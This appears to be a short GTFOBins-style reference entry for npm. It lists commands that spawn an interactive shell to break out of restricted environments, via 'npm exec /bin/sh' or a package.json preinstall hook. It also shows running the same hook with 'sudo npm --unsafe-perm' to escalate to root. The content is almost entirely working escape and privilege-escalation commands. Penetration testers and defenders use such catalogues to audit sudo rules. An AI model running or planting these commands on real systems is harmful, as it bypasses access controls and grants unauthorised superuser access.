.. / npm

• Shell
• Sudo

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

• npm exec /bin/sh

• Additionally, arbitrary script names can be used in place of preinstall and triggered by name with, e.g., npm -C $TF run preinstall.

  TF=$(mktemp -d)
  echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
  npm -C $TF i

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• Additionally, arbitrary script names can be used in place of preinstall and triggered by name with, e.g., npm -C $TF run preinstall.

  TF=$(mktemp -d)
  echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
  sudo npm -C $TF --unsafe-perm i